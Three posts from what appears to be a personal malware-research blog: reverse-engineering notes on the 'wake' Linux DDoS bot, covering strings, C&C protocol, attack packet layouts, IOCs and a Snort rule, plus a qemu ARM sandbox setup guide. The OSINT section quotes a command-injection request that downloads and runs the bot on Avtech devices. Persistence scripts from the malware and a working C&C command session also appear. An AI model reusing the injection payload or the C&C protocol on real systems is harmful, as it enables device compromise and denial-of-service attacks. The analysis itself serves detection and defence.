mardi 19 septembre 2017

"Wake" malware has been updated.

This blogpost is a follow-up of the previous blog post:

1/ A wild new sample appears

I managed to find another sample on website:

mitsurugi@dojo:~/infected$ ls -l lluxx; md5sum lluxx ; sha1sum lluxx
-rw-r--r-- 1 mitsurugi mitsurugi 917143 août  24 09:58 lluxx
4423955345910ab8fb415b9e7fb0285e  lluxx
849ebfb5281b4c407e54f5d1ad152bb288d81eb4  lluxx
mitsurugi@dojo:~/infected$ file lluxx
lluxx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.15, BuildID[sha1]=3d8cc691cce4db2327212838d2e797d6c25f8776, not stripped

This one, it's an x86 executable file.

1/1/ Passive reco

A quick look at this binary confirmed that this is the same family as the previous one. If we look at the strings and function in the binary, we find a lot of similarities:

mitsurugi@dojo:~/infected$ strings -10 lluxx
%*[^:]: %d
%s  %u %u %u %u
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
%*s %s %*s %x %*s %*s %*s %*d %*d %d
ulimit -n 3000
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
mitsurugi@dojo:~/infected$ strings -10 lluxx
%*[^:]: %d
%s  %u %u %u %u
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
%*s %s %*s %x %*s %*s %*s %*d %*d %d
ulimit -n 3000
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
case "$1" in
    nohup /usr/bin/wake -c 1 &
update-rc.d wake defaults 99
chkconfig --add wake
chkconfig wake on
nohup /usr/bin/wake -c 1 &
nohup /usr/bin/shell -c 1 &
GET %s HTTP/1.1
mitsurugi@dojo:~/infected$ nm -P Arm1 | awk '$2 == "T" && $1 !~ /^_/ {print "b " $1}'
b attack_http_get_flood
b attack_http_get_slow
b attack_http_get_spider
b attack_http_post_flood
b attack_http_post_slow
b attack_tcp_con
b attack_tcp_slow
b attack_tcp_std
b attack_tcp_syn
b attack_udp_root
b attack_udp_std
b Calcpuuser
b checksum_ip
b checksum_tcpudp
b Getcpuinfo
b getOutRates
b Getsysinfo
b initwake
b jiemihttp
b Jointhread
b kill_process_by_inode
b kill_process_by_port
b matow
b RecvDosMsg
b recvexit
b Resolv
b SendCpuMsg
b WebToData
b WebtoDns
mitsurugi@dojo:~/infected$ strings Arm1 | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

We recognise the 39999 TCP port, jiemihttp function, matow function, attack_* and so on. We have some things new:

  • address
  • Resolv function
  • WebToData and WebtoDns functions
  • New attacks

We want to learn if the network protocol used by the server has changed, and if we can continue to implement it in an innocuous client.

1/2/ Network setup for the analysis machine.

For the dynamic analysis, I setup a VM like the ARM machine. Network setup need a little change.

My static analysis reveals that the binary implements its own resolver for DNS and not rely anymore on the host configuration. This explains the IP address that we see in the binary, and the "Resolv" function.

The sandbox must have a gateway to, and we need to redirect the flow to a resolver which give the IP we want. We have this setup:

+--------+                +--------+
|        |                |        |
|Sandbox +----------------+  Host  |---FAKE INTERNET
|        |                |        |
+--------+                +--------+

We hav to grab all DNS traffic to, and setup a lying resolver. I choose dnsmasq because it can work standalone, without config file, and can answer whatever I want. Launch it on the cmd line, and it'll resolve:

# sudo iptables -t nat -A PREROUTING -i tap0 -p udp --dport 53 \
                     -j DNAT --to
# sudo dnsmasq -h -H hosts -d -q -i tap0 -2 -R -r /dev/null -C /dev/null \
                     -a -A /com/,/cn/

Quick explanation for dnsmasq:

dnsmasq -h        #don't read /etc/hosts
        -H hosts  #use this hosts file
        -d        #don't daemon
        -q        #log queries
        -i tap0   #listen on tun0
        -2        #only DNS, no DHCP/TFTP
        -R        #No resolv.conf
        -r /dev/null #No resolv.conf, yes, you must tell twice
        -A /com/,/cn/
        -a  #listen address
        -C /dev/null  #Conf file

-A is here for a catchall. Any domains ending in .com or .cn will get as its IP.

The iptables rules will redirect any DNS traffic to my dnsmasq. With this simple setup, the malware will connect to *my* C&C server, whatever the real C&C domain is.

1/3/ jiemi means get the C&C

The C&C IP address is the one that resolves:

gdb$ x/s 0x080ed040
0x80ed040 <IPA>:        ""

1/4/ Unleash Hell

With this setup, we can see the malware connecting to my C&C server on
The DNS resolution calls the Resolv() function which use WebToDns and WebToData function. The setup explained in the previous paragraph allows us to hijack this DNS connection, so the malware doesn't reach internet in any way.

The first observation is that the malware send a REGISTER message and doesn't send anymore the statistics each 5 seconds.

2/ Analysis

2/1/ Register command

As seen in the previous version, the bot begins to save the result of ` uname -a` , the IP address and if the binary have root rights. The IP detection doesn't rely anymore with the name of the interface, but on the sa_family of the interface, which is better. The REGISTER message also contain the CPU MHz of the machine by checking the 7th line of /proc/cpuinfo (not always accurate, though).

Fun fact: the IP address goes through a complicated set of if/else case in order to detect if it begin with:

  • 10.0
  • 192.16
  • 172.[123]
  • 127.

And if yes, the address is not copied in the register message. Nice way to avoid IP private range (detection could be more accurate, but hey, this is malware)

But there is a second loop that copy the IP address if it's different from (?!), so IP address is copied anyway, even if it's in private range!

2/2/ Botnet related commands

We find like the first time the usual command, 103 for launching attacks, 104 for an immediate stop, 105 for exec local commands. There is no more updating facility, and strangely, no output from the command launched. The binary exec it, and drop the output.

There is a new command, 106 which trigger the stats thread from the malware. It's a basic switch. Sends 106, receive statistics. Send another time 106, stop statistics.
The bytes are BE, so a "trigger statistics on/off" can be written as:

Packet format :
    elif cmd == '106':

This was made to reduce bandwidth sent to the C&C because if you begin to manage a huge list of bots, you can DOS yourself with statistics sent every 5s for each bots ^^

2/3/ DDOS related commands

We have a lot of new DDOS commands, you can se the big switch/case here:

We have now 11 attack types, two of them depends if we have root rights or not.

Another fun fact here. I think that the programmer mistakenly copy paste its code (click to enlarge):

There is almost the same two code bloacks left, and right. The case depends if binary has root rights or not.
You can see at bottom left 'attack_udp_root', and 'attack_udp_std' if you're not root. Then, at bottom right you see 'attack_tcp_root' and ... 'attack_udp_std' ??? I think the programmer wanted to launch a std tcp attack.
Moreover, there isn't any Xref to the attack_tcp_std function:

But everything has been reversed, and here is the python code used to decode the DDOS commands:

def prettyprint(s):
    (attack,t1,t2,atk_type,dport,a,timer,delay,threads,size,f,g,h,i) = \
    if t2[0]=="\x00":
    if atk_type < 9:
        print "[+] Attack type(%d): %s with %d thread(s)" % (atk_type,atk[atk_type], threads)
        print "[+] Attack type(%d): Unkown attack, new bot version? %d Thread(s)" % (atk_type,threads)
    print "    Targets: %s, %s; dport %d, duration %ds , delay %dms, size %d" % \
    #other parameter not used/not important
    print "    Other params: a: %d, f: %d, g: %d, h: %d, i: %d" % (a,f,g,h,i)

2/4/ Conclusion

We can see that the coder continue to update its bot. I wrote a python client compatible for both version in my github:

I found two C&C, the first one has been shut down really fast after the finding.

The second one, also dead at the time of writing, has been monitored for approximatively two weeks. Nothing really interesting :( just some really slow attacks, kind of 2 HTTP GET by seconds on a server for two minutes. Commands were repeated each 120s to restart the "attack" I think.

There were two website targeted, chinese gaming site. I tried to se if they suffered from the attack, but no. They were always up & running with very good response time. I'm even wondering if this bot is not made to simulate traffic on website (why? and what for? No idea), because it doesn't look like a denial of service to me.

3/ Is "wake" the elknot lost son?

I've read some docs online, and found this one here

3/1/ Weak algorithm

We can see that elknot uses a weak obfuscation algorithm (+1,-1,+1,-1 and so on) while the wake malware uses (-1,+1,+2,-1,+1,+2,-1, and so on). These algorithms are used to hide the C&C address.

3/2/ Protocol grammar

The protocol used by elknot to communicate is binary, with command starting at 0x00. We see that's almost the same as wake: 0x00010001 0x00010002 and so on..

3/3/ others similarities?

Is there any Resolv() function in Elknot? Is there another similarities? I don't know, it's maybe just a coincidence.

4/ Heading to the future

I have a fully functional client for the malware, and I'm ready to listen to botmasters orders.
You can check the source code on my github:

I had a very quick communication with a C&C (down at the time present) which sends me a DDOS command number 17, which I don't have. I continue to search for new samples. If you get one, send it to me, I would be pleased to analyze it :)

lundi 21 août 2017

Meet the "Wake" malware: DDOS and more!

My latest blogpost was detailing how to setup a qemu ARM system to do malware analysis, it's now time to use it for analyze an unknown binary. I went to website, and found the 'wake' binary, which looks promising:

0/ In case of TL;DR

Risk assessment:
  • This binary can be used to launch DDos and execute command
  • The binary protocol for communicating with C&C has been reversed, a client is provided
  • This binary has a good OPSEC: 
    • we can't recover its C&C from the binary itself
    • it looks like a ddos tool, but can upgrade itself and execute commands 
  • This binary works as root and non-root user
    • Note that some part doesn't work as non root user
  • All this binary have been dissassed and analyzed
    • It's probably built on differents sources codes
Threat Intel:
  • IOC are given in the end of the document

1/ Passive reco

mitsurugi@dojo:~/infected$ ls -l Arm1 ; md5sum Arm1 ; sha256sum Arm1 
-rw-r--r-- 1 mitsurugi mitsurugi 676071 Aug 17 11:48 Arm1
8a3ca4a67e6d8af6834b96e4ac1457b6  Arm1
33c5374b0a1802a19d7787a65096cb049635c2e965b66d902456ca7e9c5d35b5  Arm1
mitsurugi@dojo:~/infected$ file Arm1 
Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped
mitsurugi@dojo:~/infected$ readelf -h Arm1 
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x8130
  Start of program headers:          52 (bytes into file)
  Start of section headers:          570328 (bytes into file)
  Flags:                             0x5000002, Version5 EABI, <unknown>
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27

2/ Quick analysis

We saw that binary is not stripped, so we can read all of the function names,
and begin to find things with strings utility.

2/1/ Function names:

nm can list symbols from object files:

mitsurugi@dojo:~/infected$ nm -P Arm1 | awk '$2 == "T" && $1 !~ /^_/ {print "b " $1}'
b Calcpuuser
b ConnectServer
b DelayClose
b GetIp
b Getcpuinfo
b Getsysinfo
b Jointhread
b MySleep
b RecvDosMsg
b SendCpuMsg
b attack_tcp_con
b attack_tcp_http
b attack_tcp_std
b attack_tcp_syn
b attack_udp_root
b attack_udp_std
b initwake
b jiemihttp
b matow
b system

This is really interesting. Those function name tend to see this binary as a DDos tool.
The first guess is that binary will do a ConnectServer to its C&C, then wait for RecvDosMsg
and do the attack_* based on the DosMsg.

It took some time for me to figure that 'jiemi' means 'Revealing' or 'secret' in chinese, so the jiemihttp
function could look interesting.

2/2/ strings the binary

mitsurugi@dojo:~/infected$ strings -10 Arm1
%*[^:]: %d
%s  %u %u %u %u
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
case "$1" in
    nohup /usr/bin/wake -c 1 &
update-rc.d wake defaults 99
chkconfig --add wake
chkconfig wake on 
nohup /usr/bin/wake -c 1 &
update-rc.d -f wake remove
chkconfig --del wake
wget -O %s %s
shell fail
nohup /usr/bin/shell -c 1 &
wget %s -O -
curl %s -O -
GET %s HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/, app
lication/, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SV1)
Connection: Keep-Alive
(... nothing really interesting after...)
mitsurugi@dojo:~/infected$ strings Arm1 | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

We can see some info:

  • There is something with the TCP port 39999
  • This program seems able to resgister itself for startup with 'wake' name (?) and Proxy (??) capability
  • The Accept-Language is set to zh-cn (attribution dice is broken, so nothing more to say).
  • No obvious C&C DNS name or IP address

2/3/ OSINT

Right before doing analysis and reversing, we can search for info.

It says that the binary comes from this request:
GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\nAccept: */*\r\n
User-Agent: python-requests/2.13.0\r\n\r\n

Which says the same thing.

So, this binary is uploaded through a known vulnerability and targets Avtech device.

This post gives some info about the infection.

As the primary vector uses a python-requests User-Agent, we can think that this is scripted to crawl and
infect as many targets as possible. The fact that we found a sample in x86 is an indication that code is meant to be reused through different platforms/attack vector.

At the time of writing, virustotal has a detection ratio of 22/58 and name is frequently one of those:
  • malware
  • Ddos
  • Agent
  • Trojan
  • Backdoor

2/3/ Partial conclusion

If it looks like a duck, swims like a duck and quack like a duck, it can be call a duck.
This really quick glance at this binary tells us that this is not legitimate software and can be placed in the infected/ folder.

We have a first vector of infection which targets a known vulnerability in order to upload and execute the malware.
what's missing now is the purpose of this malware, the IP address of the C&C and th protocol used to communicate between client and C&C.

It's time now to analze deeply this binary in order to understand all of its capabilities.

3/ Full reversing

The debug setup is the one explained here

Everything has been done under gdb and common unix tools. I use the .gdbinit script
from osxreverser in order to help me in reversing. If you want to use, beware that 
the way of calculating the branch taken or not doesn't work all the time.

As it works with threads, I set the scheduler-locking with "step" mode:

user@router1 ~/infected $ gdb Arm1
Reading symbols from Arm1...(no debugging symbols found)...done.
gdb$ b * main
Breakpoint 1 at 0x8924
gdb$ r
Starting program: /home/user/infected/Arm1 
  R0:  0x00000001  R1: 0xBEFFF744  R2:  0xBEFFF74C  R3:  0x00008924
  R4:  0x00013B90  R5: 0x00000000  R6:  0x00013B48  R7:  0x00000000
  R8:  0x00000000  R9: 0x00000000  R10: 0x00000000  R11: 0x00000000 
  R12: 0xBEFFF678  SP: 0xBEFFF5F8  LR:  0x0001368C  PC:  0x00008924  n Z C v q j e a i f t 
=> 0x8924 <main>: push {r4, r11, lr}
   0x8928 <main+4>: add r11, sp, #8
   0x892c <main+8>: sub sp, sp, #1568 ; 0x620
   0x8930 <main+12>: sub sp, sp, #4
   0x8934 <main+16>: str r0, [r11, #-1552] ; 0xfffff9f0
   0x8938 <main+20>: str r1, [r11, #-1556] ; 0xfffff9ec
   0x893c <main+24>: ldr r2, [pc, #1408] ; 0x8ec4 <main+1440>
   0x8940 <main+28>: mvn r3, #0

Breakpoint 1, 0x00008924 in main ()
gdb$ set scheduler-locking step

Because it stops all threads when a breakpoint is encountered. When you 'stepi' or 'c' all threads start until the next breakpoint. That's really nice to inspect all registers or switch from a thread to another.

This work started with a strong static analysis, and a dynamic one after, once I figured that this binary will not break things. Once I figured the basics of the network protocol I begun to write a server, which helped me a lot for dynamic analysis.

The analysis VM was fully firewalled in a protected environment, and tcpdump was running in host machine to confirm and track every packets send and received.

3/1/ From startup to full DDos

3/1/1/ The mysterious tcp port 39999 is only a watchdog

The main() function begins to setup some constants, then open the port 39999 for listening. There is two important points here:
  • It opens for listening, and only, it's hardcoded.
  • There is absolutely no function implemented that parse the data sent through that port, so we have to understand what's the purpose of this server.
If the binary has root rights, the main() function creates a script /usr/bin/wake:

 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup /home/user/infected/Arm1 -c 1 &

So we understand that the 39999 port is only used as a watchdog:
If binary dies, port is closed, and /usr/bin/wake script will start it again. There is no proxy capability, this information printed in the startup file is maybe only a decoy.

The bot grabs some information of the underlying infected host, (uname -a), IP address, and if it has root rights.

It gets the results of uname -a, the IP address, and the rights of the binary (root or user). Another point really interesting here is that it tries to read from eth0 or ens33 interface. eth0 is the old way of naming linux interfaces, and ens33 is the new way of predict interfaces name. As we saw, this malware targets AVtech camera, and avtech camera uses only old naming scheme. That's perplexing, for another reason, and we'll also come back to this later.

3/1/2/ Changing name

The binary change its name with an ioctl(). If you do a ps ax you won't see the name of the file. The algorithm used to create a random name is a bit wicked (what for?), and the name can have 5 or 7 chars, all uppercase.

The ps ax shows something like:

user@router1 ~/infected $ ps ax
 1265 pts/0    Sl+    0:00 GNLXT
 1283 pts/0    S+     0:00 /bin/sh /usr/bin/wake -c 1

Some fun fact here. This name change only change the 5 or 7 first characters of the binary. So if you rename your binary with a very long name, only the 5 or 7 first chars are changed with random uppercase characters.

3/1/3/ The decryption of the victim's DNS name used to get the real C&C IP:port

The jiemihttp() function is called from main. Jiemi means "secret" or "Revealing" in chinese, and the secret C1c address is decrypted here.
This function will decrypt inplace an URL. As a CTF-Player, I like to reverse those kind of functions, and this one is not really hard:

Breakpoint 2, 0x00009e28 in jiemihttp ()
gdb$ x/s 0x000930D0
0x930d0 <dns>: "c`i/gliwx{-apl-jo//svu"

Another blogposts will explain more deeply the reversing, we'll stick to higher understanding here.

Nothing magic here, we follow the algorithm, reverse it then get the name: ""
And all the "encryption" here are in fact only:

The website seems to be a legitimate website, and my best guest is that the domain have been compromised to hosts the ip1.txt file. At this time, the ip1.txt file doesn't exist anymore so I'm not able to know which IP and port were used for this bot binary. By using a level of this, attacker can hide the real C&C IP address for reverser.

Following the main(), the GetIP() function is called, it just calls wget, or curl (this is important, we'll go back on that later) to get the ip1.txt file containing one line with an IP and a port. There is a little check to verify that the IP is not, which can be seen as an anti sandbox technique, maybe.

The ConnectServer() function is called, and main() function almost ends here.

Everything done after is made through threads.

3/2/ Communication from bot to master

All communication from bot to master begin with a 4bytes header:

  •  \x01\x00\x01\x00 : REGISTER client
  •  \x02\x00\x01\x00 : Send statistics regularly
  •  \x05\x00\x01\x00 : result of a command (see server part for this one)

3/2/1/ Registering to C&C

When the bot connects to its C&C, it sends '\x01\x00\x01\x00' then the `uname -a` strings. Some (fun) fact, the result of uname -a is passed through the matow() function which seems to add a \x00 char between each character of the string. Is it an ascii to UTF-8 string? (matow could mean: Make Ascii TO Wide ???)

It can also reveal that the real server is UTF-8 only, and can only print those characters.

If binary is launched with root right, it sends another TCP packet containing 12 bytes, '\x01\x00*12' or 12 null if it doesn't have root rights.
And, yes, there is a lot of null bytes.

3/2/2/ SendCpuMsg

A thread is created for this function. This function open /proc/stat and /proc/net/dev, waits 5s reopen again those files, diff the result to compute some statistics:
  • %CPU Usage
  • Number of bytes sent (divided by 5120 (??))
Every 5s, it sends the data, with a '102' header, 4 nulls, and 8 bytes:

What is really interesting here is that /proc/net/dev only checks for a line beginning with eth0. Remember that the sysinfo() tries to read either from eth0 or ens33, here, it only deals with eth0. It could means that some part of the code of this bot is reused, or that the coder doesn't care at all but there is at least a lack of consistency here.

3/3/ Communication from master to bot

All communication from master to bot begin with a 4bytes header:
  • \x03\x00\x01\x00 : DDos commands (with subcommands)
  • \x04\x00\x01\x00 : stop DDOSing
  • \x05\x00\x01\x00 : Send commands, like exit, exec, or update

3/3/1/ 0105 commands

* Exitself and Killself are almost self-explanatory. The difference here is that Exitself only exit the binary, and killself also suppress the /etc/init.d/wake startup scripts.
Juste be carefull that the command is written after 396 bytes of padding in the packet.

The server code part is simply:

    if cmd == 'killself':
    elif cmd == 'exitself':

* The update command! Really worth it
The update command will download a binary, and replace the Arm1 file on disk (or any other name it has), then stop the binary. There is no mechanism to restart the binary, except the watchdog seen before.

Once again, jump 396 bytes of padding before writing update\x00http://<url>/file\x00

    elif cmd == 'update':

Another thing, this update command use wget only to download the file. There is no try with curl. I think this tend to say that it's once again some code reuse between different projects, or different coders through time.

* The exec command
If there is something at byte 400 (\x05\x00\x01\x00 + 396 bytes of padding) which is neither the string 'exitself', 'killself' or 'update', everything is passed through a shell and the result is sent back from the client to server. The header is '\x05\x00\x01\x00 + 396 null bytes', and the answer.

My server code check if command starts with a ':' and send the command to the client:

    elif cmd.startswith(':'):

And the parsing of the result:

        elif response.startswith('\x05\x00\x01\x00'):
            status_cli('CMD RESP: '+response[400:])

Here is a transcript of a live session between my server and Arm1 malware binary:

mitsurugi@dojo:~/chall/armv6_stretch$ ./ 
('', 46806) connected

Client <<< REGISTER: Linux router1 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
Server >>> 
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 3% usage

Server >>> 
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 11% usage
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 2% usage

Server >>> 
Server >>> :echo owned

Client <<< CMD RESP: owned
Server >>> :id

Client <<< CMD RESP: uid=1000(user) gid=1000(pi) groupes=1000(pi)

Server >>> 

Client <<< DATA
OutRates: 0*5120 bytes; CPU: 2% usage

Server >>> 

3/4/ The Ddos commands

Some pcap can be provided for those interested. As this tool is a ddos tool, I'll explain how it works.

3/4/1/ The "stop" command

Stop command is a simple message:
'\x04\x00\x01\x00' which kill all Ddos threads. When attacker launch a DDos, there is no timer, or automatic stop. The only way to stop a ddos is to launch a "stop" command.
This binary only launch a DDos at a time. If attacker wants to switch targets, it has to stop the DDos with the stop command, and start another one.

3/4/2 103 code 4 : http Dos

The format of the packet launching a DDoS is:
    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: Victim [ Warning, must be written as @IP:port, 
    #             port is mandatory, but only IP is used.] then padding
    #byte 1424: \x04\x00\x00\x00 => attack type "4" is tcp http
    #byte 1428: 2 bytes TCP port written in ntohs() -> \x50\x00 for TCP 80
    #byte 1430: padding 
    #byte 1442: Number of threads launched for this attack

The DDos is launched. We can note that the DDos send always 1024 bytes. If the request is not long enough, it's filled with Null bytes. The function launch as many thread as specified and loop as fast as possible in each thread sending the requests.

3/4/3/ 103 code 3 : tcp attack 

This code begin to check if binary has root right or not. If it has root rights,
the attack_tcp_syn is launched:
    #DOS CMD:103-3
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x03\x00\x00\x00 => attack type "3" is tcp
    #byte 1428: TCP port in ntohs
    #byte 1440: #of syn to be sent
    #byte 1444: size of data sent to victim

If the binary doesn't have root rights, the attack_tcp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.

3/4/4/ 103 code 2 : UDP attack

This launch a flood attack on a choosen port with UDP protocol.
Parameters are:
    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x02\x00\x00\x00 => attack type "2" is udp 
    #byte 1428: UDP port in ntohs
    #byte 1440: Number of threads
    #byte 1444: size of data sent to victim

If the binary has root rights, it can launch an attack called, you guess it, attack_udp_root() . Each packet contains the repetition of a random byte. For the record, I sent an attack with 0x20 bytes size:

If the binary doesn't have root rights, the attack_udp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.

Fun fact: if you specify a data size too big, you can crash the client due to a buffer overflow.

3/4/5/ 103 code 1 : TCP con attack

The last attack is the attack_tcp_con, and it's a connection attack.

    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x01\x00\x00\x00 => attack type "1" is tcp con attack
    #byte 1428: TCP port in ntohs
    #byte 1440: Number of threads

The tool just connect to the IP:port and do nothing afterwards. It's maybe a kind of "slow" DDos Tool, where you eat up all connections pool from victim,which is unable to serve its legitimate clients.

3/5/ "Big picture"

As an eagle view, we have:

  launch server as watchdog
  if uid==0:
    register at startup
  GetSysInfo, uname, IP, check for root rights
  Decrypt victim's DNS name holding C&C real IP, and GetIp()
  ConnectServer() connects to the real C&C

  Each 5second
    send cpu usage/bandwidth usage
  Wait for commands
    Update/Exec command
    Launch/stop DDos

That's all!

3/6/ Implementing a python server/client for Arm1

As I'm not a botmaster, I wrote a server for only one bot. This was enough for
me to understand and monitor the host.
Basically, I launch a recv() in a thread, and in another one I'm waiting commands
with a raw_input(). You can see this in my github repo. Warning, I'm not a coder,
this is the result of tries and fails. It's usable, but don't expect much.

For see it in action, you have to setup a web server containing a file ip1.txt:

echo '' > ip1.txt
sudo python -m SimpleHTTPServer 80

launch in the host

launch Arm1 binary on host and wait for connections.
For dealing with the name, you can just add the line: 
in the /etc/hosts of the machine where Arm1 is launched.

The client is still under development. I'm searching for a C&C alive in order to connect and log all DDos requests. It would be a great insight into targets.

4/ IOC for this binary

Usually, IOC are cheap information, containing only hash and captured traffic from an infected host. This is cheap because attackers can really quickly change every of those indicators. After this work, we can make better ones, because we learn how the traffic is exchanged between C&C and bots. This is much harder for a botmaster to change its network protocol than a hash of a binary or the IP of a C&C.

As we saw previously, the binary uses in a function eth0 or ens33, and in another one only eth0. Another time, it tries to use wget or curl, and another time, only wget. This leads to the conclusion that it's not the same person which write the binary, or that some parts were copy-pasted. If the network protocol is copy pasted from this bot to another one, it's a win for defenders.

Victim register with '\x01\x00\x01\x00' followed by the $(uname -a) of an host in UTF-8.Then, it sends each 5 seconds data beginning with '\x02\x00\x01\x00\x00\x00\x00\x00'

The best way to detect it is to log the REGISTER message. A snort/Suricata rule like this should do the job:

alert tcp any any -> any any (content:"|01 00 01 00 00 00 00 00|"; offset: 0; depth: 8; flow:from_client; msg: "wake malware register"; reference: ""; sid:XXXXXX; rev:1)

Server sends command
\x04\x00\x01\x00 to stop Ddos
\x03\x00\x01\x00 to start a Ddos
\x05\x00\x01\x00 to kill, exec or update the bot. If command is 'exec' or 'update', extraction should be made in order to grab and analyze new binary. Juicy part is here.

5/ Conclusion

This tool can Ddos efficiently, thanks to a usual design of C&C. Bots connect to master and waits for commands.
What is interesting here is this good way of covering tracks. If we have only the binary, we are unable to know where the C&C really is, we can only find the victim which hosts the real IP of the C&C. Plus the addition of remote command and remote update can be a powerfull way to hide a more complex operation: send largely a ddostool, and scan more precisely some of your hosts, then download and execute your real payload.
What is more interesting here is that some part of this binary just doesn't work at all: if you are non root user, tcp and udp attack should work, but doesn't work at all.

With the help of the IOC provided, we can try to follow this particuliar bot, or others bot based on the same code. If you meet one of this malware recently, you can ping me @0xMitsurugi on twitter, I'm searching for a working C&C to play with.

6/ Usual rant against antivirus

Well... This malware wasn't largely spread, it did not meet any success, and I guess that malware analyst have a lot of work to do and can't spent as time as I spent on this one.
But, please:
This Backdoor opens the following port(s) where it listens for remote commands:
You listen on for *remote* commands?!

mercredi 12 juillet 2017

qemu ARM VM for [crackme|malware] analysis

My setup for ARM analysis

Once in a while, I have to analyze linux binaries in ARM architecture (in CTF, or crackme or when I got an ARM malware). There is many way to do it:

  • do static analysis only (good for crackme)
  • buy a raspberry pi (good for crackme)
  • buy an ARM machine somewhere in the cloud (well, never tried it, but why not)
  • use virtual machines 

I choose personnaly virtual machine over other solutions because of dynamic analysis, snapshots, the availabilty of it and the free as in free beer \o/

1/ qemu ARM on x86_64

When you want to emulate an arch, you think at qemu. So, installing qemu is as simple as download and compile it, or apt-get it:

mitsurugi@dojo:~$ dpkg -l | grep qemu-system-arm
ii  qemu-system-arm                           1:2.8+dfsg-5                         amd64        QEMU full system emulation binaries (arm)

and you're done.

2/ disk image

Next, you have to grab a linux distro. It's really faster to use a preinstalled image than installing from an iso. There is a lot of documentation which point to . This works, but I don't recommend it. The kernel and images are really old, and for my needs, gdb was too old. Use another image, decently recent. I recommend a raspbian image, really good for this usage.

I have scripts to automatize the process of downloading and configuring disk image for qemu-system-arm.

First, an a udev rule:

mitsurugi@dojo:~/chall/armv6_stretch$ cat 90-qemu.rules 
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n"
KERNEL=="sda2", SYMLINK+="root"

And the script to get and create the disk image:

mitsurugi@dojo:~/chall/armv6_stretch$ cat 
set -x
unzip raspbian_latest && rm raspbian_latest
loopdev=`sudo losetup -f`
img=`echo *.img`
offset=`file $img | grep -oh 'startsector [^,]*' | tail -n 1 | cut -d' ' -f2`
sudo mkdir -p $mntdir
sudo chown root:root $mntdir
sudo losetup --offset $offset $loopdev $img
sudo mount $loopdev $mntdir
sudo bash -c "echo > $mntdir/etc/"
sudo cp 90-qemu.rules $mntdir/etc/udev/rules.d
sudo umount $mntdir
sudo losetup -d $loopdev
qemu-img convert -O qcow2 -f raw $img raspbian.qcow2
rm $img

Now you'll have a .qcow2 raspberry disk image and a linux kernel.
(those two scripts are slightly modified from website, down at this moment)

3/ network setup

For my needs, I don't want to be bridged, I want to be able to firewall or block network access for the VM.
I don't want to use user-mode-nat, because firewalling can be too hard to put in place.
The good setup is TUN-TAP mode.

From the host, you have an interface tap0. The guest is connected to the host with this interface.
You can do your setup as you like, masquerade the guest to give internet access, firewall it, give static or dynamic addresse. Do as you want. I did a really simple setup (every docs on the internet overcomplicate this tasks).

First create your tap0 interface and give rights to your user, then configure it:

mitsurugi@dojo:~/chall/armv6_stretch$ cat
echo "[+] Configuring interface"
sudo tunctl -t tap0 -u mitsurugi
sudo ifconfig tap0

In the VM, configure the IP to be or any IP in 172.16.42.X range.

This is really simple and powerfull because you can even configure a private IP address (if things are hardcoded in the binary you want to analyze) like

mitsurugi@dojo:~/chall/armv6_stretch$ sudo ifconfig tap0

and configure anything you need on the host side. I recommend dnsmasq which can act as a DHCP and DNS, with very little configuration. You can even lie to any DNS request you want, set up HTTP servers, ftp servers, mitm all the things \o/

4/ Command line to launch the image

